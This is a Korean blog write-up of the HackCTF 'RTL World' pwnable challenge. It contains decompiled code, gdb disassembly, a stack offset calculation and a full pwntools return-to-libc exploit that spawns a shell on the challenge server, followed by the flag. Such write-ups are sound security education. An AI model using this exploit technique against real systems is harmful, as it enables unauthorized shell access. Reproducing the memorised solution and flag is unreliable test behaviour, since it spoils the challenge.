[문제]
[풀이]
- 32bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 없음
바이너리 실행
- 사용자로부터 입력받음
입력 값에 따른 결과 값 정리
- Information the Binary Boss!
[Binary Boss]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ASLR: Enable
Binary Boss live in 0xf7f213d0
Binart Boss HP is 140 + Armor + 4
2. Make Money
This world is F*cking JabonJui
1) Farming... -> 100 gold
2) Item selling... -> 350 gold
3) Hunting... -> 500 gold
(Job)>>>
++ 4) Wow! you can find Hidden number!
Life is Just a One Shot...
Gambling...
-> 1714636915 gold
3. Get the System Armor
System Armor : 0xf7d5a2e0
4. Get the Shell Sword
Shell Sword : 0xf7e9b0af
5. Kill the Binary Boss!!!
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@14
int v4; // [esp+10h] [ebp-90h]@5
char buf; // [esp+14h] [ebp-8Ch]@14
void *v6; // [esp+94h] [ebp-Ch]@1
void *handle; // [esp+98h] [ebp-8h]@1
void *s1; // [esp+9Ch] [ebp-4h]@1
setvbuf(stdout, 0, 2, 0);
handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
v6 = dlsym(handle, "system");
dlclose(handle);
for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
;
puts("\\n\\nNPC [Village Presient] : ");
puts("Binary Boss made our village fall into disuse...");
puts("If you Have System Armor && Shell Sword.");
puts("You can kill the Binary Boss...");
puts("Help me Pwnable Hero... :(\\n");
printf("Your Gold : %d\\n", gold);
while ( 1 )
{
Menu();
printf(">>> ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
system("clear");
puts("[Binary Boss]\\n");
puts("Arch: i386-32-little");
puts("RELRO: Partial RELRO");
puts("Stack: No canary found");
puts("NX: NX enabled");
puts("PIE: No PIE (0x8048000)");
puts("ASLR: Enable");
printf("Binary Boss live in %p\\n", handle);
puts("Binart Boss HP is 140 + Armor + 4\\n");
break;
case 2:
Get_Money(gold);
break;
case 3:
if ( gold <= 1999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 1999;
printf("System Armor : %p\\n", v6);
}
break;
case 4:
if ( gold <= 2999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 2999;
printf("Shell Sword : %p\\n", s1);
}
break;
case 5:
printf("[Attack] > ");
read(0, &buf, 0x400u);
return 0;
case 6:
puts("Your Not Hero... Bye...");
exit(0);
return result;
default:
continue;
}
}
}
- Binary Boss information을 통해 boss의 주소를 알 수 있음 → 하위 1.5byte는 3d0으로 고정됨(ASLR)
- Binart Boss HP is 140 + Armor + 4을 보아 dummy(140) + binsh+ ret(4) + system 형태로 입력하는 것이 아닐까 추측
- 1999 gold로 system address 획득
- 2999 gold로 binsh address 획득
- 1024byte만큼 attack에 입력 가능
IDA 분석 - Get_Money 함수
int Get_Money()
{
int result; // eax@1
int v1; // [esp+8h] [ebp-Ch]@1
int v2; // [esp+Ch] [ebp-8h]@1
int v3; // [esp+10h] [ebp-4h]@1
puts("\\nThis world is F*cking JabonJui");
puts("1) Farming...");
puts("2) Item selling...");
puts("3) Hunting...");
v3 = 0;
v2 = rand();
printf("(Job)>>> ");
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 == 2 )
{
puts("\\nItem selling...");
while ( v3 <= 350 )
++v3;
puts("+ 350 Gold");
gold += v3;
result = printf("\\nYour Gold is %d\\n", gold);
}
else if ( v1 > 2 )
{
if ( v1 == 3 )
{
puts("\\nHunting...");
while ( v3 <= 500 )
++v3;
puts("+ 500 Gold");
gold += v3;
result = printf("\\nYour Gold is %d\\n", gold);
}
else if ( v1 == 4 )
{
puts("\\nWow! you can find Hidden number!");
puts("Life is Just a One Shot...");
puts("Gambling...");
printf("+ %d Gold\\n", v2);
gold += v2;
result = printf("\\nYour Gold is %d\\n", gold);
}
}
else if ( v1 == 1 )
{
puts("\\nFarming...");
while ( v3 <= 100 )
++v3;
puts("+ 100 Gold");
gold += v3;
result = printf("\\nYour Gold is %d\\n", gold);
}
return result;
}
- hidden number를 통해 한번에 gold를 충족할 수 있음
IDA 분석 - Menu 함수
int Menu()
{
puts("======= Welcome to RTL World =======");
puts("1) Information the Binary Boss!");
puts("2) Make Money");
puts("3) Get the System Armor");
puts("4) Get the Shell Sword");
puts("5) Kill the Binary Boss!!!");
puts("6) Exit");
return puts("====================================");
}
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x08048524 _init
0x08048560 read@plt
0x08048570 printf@plt
0x08048580 memcmp@plt
0x08048590 dlclose@plt
0x080485a0 puts@plt
0x080485b0 system@plt
0x080485c0 __gmon_start__@plt
0x080485d0 exit@plt
0x080485e0 __libc_start_main@plt
0x080485f0 dlsym@plt
0x08048600 setvbuf@plt
0x08048610 rand@plt
0x08048620 __isoc99_scanf@plt
0x08048630 dlopen@plt
0x08048640 _start
0x08048670 __x86.get_pc_thunk.bx
0x08048680 deregister_tm_clones
0x080486b0 register_tm_clones
0x080486f0 __do_global_dtors_aux
0x08048710 frame_dummy
0x0804873d Menu
0x080487a5 Get_Money
0x08048983 main
0x08048c20 __libc_csu_init
0x08048c90 __libc_csu_fini
0x08048c94 _fini
- main 주소: 0x08048983
- Get_Money주소: 0x080487a5
- Menu주소: 0x0804873d
gdb 분석 - main 함수
pwndbg> disass main
Dump of assembler code for function main:
0x08048983 <+0>: push ebp
0x08048984 <+1>: mov ebp,esp
0x08048986 <+3>: sub esp,0xa0
0x0804898c <+9>: mov eax,ds:0x804b060
0x08048991 <+14>: mov DWORD PTR [esp+0xc],0x0
0x08048999 <+22>: mov DWORD PTR [esp+0x8],0x2
0x080489a1 <+30>: mov DWORD PTR [esp+0x4],0x0
0x080489a9 <+38>: mov DWORD PTR [esp],eax
0x080489ac <+41>: call 0x8048600 <setvbuf@plt>
0x080489b1 <+46>: mov DWORD PTR [ebp-0x8],0x0
0x080489b8 <+53>: mov DWORD PTR [esp+0x4],0x1
0x080489c0 <+61>: mov DWORD PTR [esp],0x8048e8c
0x080489c7 <+68>: call 0x8048630 <dlopen@plt>
0x080489cc <+73>: mov DWORD PTR [ebp-0x8],eax
0x080489cf <+76>: mov DWORD PTR [esp+0x4],0x8048eaa
0x080489d7 <+84>: mov eax,DWORD PTR [ebp-0x8]
0x080489da <+87>: mov DWORD PTR [esp],eax
0x080489dd <+90>: call 0x80485f0 <dlsym@plt>
0x080489e2 <+95>: mov DWORD PTR [ebp-0xc],eax
0x080489e5 <+98>: mov eax,DWORD PTR [ebp-0x8]
0x080489e8 <+101>: mov DWORD PTR [esp],eax
0x080489eb <+104>: call 0x8048590 <dlclose@plt>
0x080489f0 <+109>: mov eax,DWORD PTR [ebp-0xc]
0x080489f3 <+112>: mov DWORD PTR [ebp-0x4],eax
0x080489f6 <+115>: jmp 0x80489fc <main+121>
0x080489f8 <+117>: add DWORD PTR [ebp-0x4],0x1
0x080489fc <+121>: mov eax,DWORD PTR [ebp-0x4]
0x080489ff <+124>: mov DWORD PTR [esp+0x8],0x8
0x08048a07 <+132>: mov DWORD PTR [esp+0x4],0x8048eb1
0x08048a0f <+140>: mov DWORD PTR [esp],eax
0x08048a12 <+143>: call 0x8048580 <memcmp@plt>
0x08048a17 <+148>: test eax,eax
0x08048a19 <+150>: jne 0x80489f8 <main+117>
0x08048a1b <+152>: mov DWORD PTR [esp],0x8048eb9
0x08048a22 <+159>: call 0x80485a0 <puts@plt>
0x08048a27 <+164>: mov DWORD PTR [esp],0x8048ed8
0x08048a2e <+171>: call 0x80485a0 <puts@plt>
0x08048a33 <+176>: mov DWORD PTR [esp],0x8048f0c
0x08048a3a <+183>: call 0x80485a0 <puts@plt>
0x08048a3f <+188>: mov DWORD PTR [esp],0x8048f38
0x08048a46 <+195>: call 0x80485a0 <puts@plt>
0x08048a4b <+200>: mov DWORD PTR [esp],0x8048f58
0x08048a52 <+207>: call 0x80485a0 <puts@plt>
0x08048a57 <+212>: mov eax,ds:0x804b04c
0x08048a5c <+217>: mov DWORD PTR [esp+0x4],eax
0x08048a60 <+221>: mov DWORD PTR [esp],0x8048f74
0x08048a67 <+228>: call 0x8048570 <printf@plt>
0x08048a6c <+233>: jmp 0x8048a6f <main+236>
0x08048a6e <+235>: nop
0x08048a6f <+236>: call 0x804873d <Menu>
0x08048a74 <+241>: mov DWORD PTR [esp],0x8048f84
0x08048a7b <+248>: call 0x8048570 <printf@plt>
0x08048a80 <+253>: lea eax,[ebp-0x90]
0x08048a86 <+259>: mov DWORD PTR [esp+0x4],eax
0x08048a8a <+263>: mov DWORD PTR [esp],0x8048dd9
0x08048a91 <+270>: call 0x8048620 <__isoc99_scanf@plt>
0x08048a96 <+275>: mov eax,DWORD PTR [ebp-0x90]
0x08048a9c <+281>: cmp eax,0x6
0x08048a9f <+284>: ja 0x8048a6e <main+235>
0x08048aa1 <+286>: mov eax,DWORD PTR [eax*4+0x80490cc]
0x08048aa8 <+293>: jmp eax
0x08048aaa <+295>: mov DWORD PTR [esp],0x8048f89
0x08048ab1 <+302>: call 0x80485b0 <system@plt>
0x08048ab6 <+307>: mov DWORD PTR [esp],0x8048f8f
0x08048abd <+314>: call 0x80485a0 <puts@plt>
0x08048ac2 <+319>: mov DWORD PTR [esp],0x8048f9e
0x08048ac9 <+326>: call 0x80485a0 <puts@plt>
0x08048ace <+331>: mov DWORD PTR [esp],0x8048fb7
0x08048ad5 <+338>: call 0x80485a0 <puts@plt>
0x08048ada <+343>: mov DWORD PTR [esp],0x8048fcf
0x08048ae1 <+350>: call 0x80485a0 <puts@plt>
0x08048ae6 <+355>: mov DWORD PTR [esp],0x8048fe9
0x08048aed <+362>: call 0x80485a0 <puts@plt>
0x08048af2 <+367>: mov DWORD PTR [esp],0x8048ffe
0x08048af9 <+374>: call 0x80485a0 <puts@plt>
0x08048afe <+379>: mov DWORD PTR [esp],0x804901b
0x08048b05 <+386>: call 0x80485a0 <puts@plt>
0x08048b0a <+391>: mov eax,DWORD PTR [ebp-0x8]
0x08048b0d <+394>: mov DWORD PTR [esp+0x4],eax
0x08048b11 <+398>: mov DWORD PTR [esp],0x8049029
0x08048b18 <+405>: call 0x8048570 <printf@plt>
0x08048b1d <+410>: mov DWORD PTR [esp],0x8049044
0x08048b24 <+417>: call 0x80485a0 <puts@plt>
0x08048b29 <+422>: jmp 0x8048c0b <main+648>
0x08048b2e <+427>: mov eax,ds:0x804b04c
0x08048b33 <+432>: mov DWORD PTR [esp],eax
0x08048b36 <+435>: call 0x80487a5 <Get_Money>
0x08048b3b <+440>: jmp 0x8048c0b <main+648>
0x08048b40 <+445>: mov eax,ds:0x804b04c
0x08048b45 <+450>: cmp eax,0x7cf
0x08048b4a <+455>: jle 0x8048b73 <main+496>
0x08048b4c <+457>: mov eax,ds:0x804b04c
0x08048b51 <+462>: sub eax,0x7cf
0x08048b56 <+467>: mov ds:0x804b04c,eax
0x08048b5b <+472>: mov eax,DWORD PTR [ebp-0xc]
0x08048b5e <+475>: mov DWORD PTR [esp+0x4],eax
0x08048b62 <+479>: mov DWORD PTR [esp],0x8049067
0x08048b69 <+486>: call 0x8048570 <printf@plt>
0x08048b6e <+491>: jmp 0x8048c0b <main+648>
0x08048b73 <+496>: mov DWORD PTR [esp],0x804907a
0x08048b7a <+503>: call 0x80485a0 <puts@plt>
0x08048b7f <+508>: jmp 0x8048c0b <main+648>
0x08048b84 <+513>: mov eax,ds:0x804b04c
0x08048b89 <+518>: cmp eax,0xbb7
0x08048b8e <+523>: jle 0x8048bb4 <main+561>
0x08048b90 <+525>: mov eax,ds:0x804b04c
0x08048b95 <+530>: sub eax,0xbb7
0x08048b9a <+535>: mov ds:0x804b04c,eax
0x08048b9f <+540>: mov eax,DWORD PTR [ebp-0x4]
0x08048ba2 <+543>: mov DWORD PTR [esp+0x4],eax
0x08048ba6 <+547>: mov DWORD PTR [esp],0x8049094
0x08048bad <+554>: call 0x8048570 <printf@plt>
0x08048bb2 <+559>: jmp 0x8048c0b <main+648>
0x08048bb4 <+561>: mov DWORD PTR [esp],0x804907a
0x08048bbb <+568>: call 0x80485a0 <puts@plt>
0x08048bc0 <+573>: jmp 0x8048c0b <main+648>
0x08048bc2 <+575>: mov DWORD PTR [esp],0x80490a6
0x08048bc9 <+582>: call 0x8048570 <printf@plt>
0x08048bce <+587>: mov DWORD PTR [esp+0x8],0x400
0x08048bd6 <+595>: lea eax,[ebp-0x8c]
0x08048bdc <+601>: mov DWORD PTR [esp+0x4],eax
0x08048be0 <+605>: mov DWORD PTR [esp],0x0
0x08048be7 <+612>: call 0x8048560 <read@plt>
=> 0x08048bec <+617>: mov eax,0x0
0x08048bf1 <+622>: jmp 0x8048c10 <main+653>
0x08048bf3 <+624>: mov DWORD PTR [esp],0x80490b2
0x08048bfa <+631>: call 0x80485a0 <puts@plt>
0x08048bff <+636>: mov DWORD PTR [esp],0x0
0x08048c06 <+643>: call 0x80485d0 <exit@plt>
0x08048c0b <+648>: jmp 0x8048a6e <main+235>
0x08048c10 <+653>: leave
0x08048c11 <+654>: ret
End of assembler dump.
- 사용자의 입력은 $ebp-0x8c에 저장
- main+270에 bp 걸어 5(attack) 입력
- attack에서 사용자의 입력은 0xffffcfcc에 저장
- 0xffffd05c에서 __libc_start_main+231 확인
- 사용자의 입력~0xffffd05c까지의 offset = 144(0x90)
문제 해결
- system(”/bin/sh”)를 실행해야 하는 ROP 기법 적용
- 4번 hidden number를 이용해 gold 획득
- 즉석으로 boss 주소와 binsh, system 주소 획득하여 exploit 시도
💡 dummy(144) + binsh + dummy + system
Python2
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3010)
e = ELF("./rtl_world")
#make money
p.recvuntil('>>> ')
p.sendline('2')
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil('>>> ')
#system
p.sendline('3')
p.recvuntil(' : ')
system = int(p.recv(10), 16)
log.info("system: "+ hex(system))
#binsh
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil(' : ')
binsh = int(p.recv(10), 16)
log.info("binsh: "+ hex(binsh))
#payload
payload = "a"*144
payload += p32(system)
payload += "b" *4
payload += p32(binsh)
p.recvuntil('>>> ')
p.sendline('5')
p.recvuntil('> ')
p.sendline(payload)
p.interactive()
flag
🍒 HackCTF{17_w45_4_6r347_r7l_w0rld}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] BOF_PIE (0) | 2022.10.30 |
---|---|
[HackCTF] Yes or no (0) | 2022.10.30 |
[HackCTF] g++ pwn (0) | 2022.10.30 |
[HackCTF] Poet (0) | 2022.10.30 |
[HackCTF] 1996 (0) | 2022.10.30 |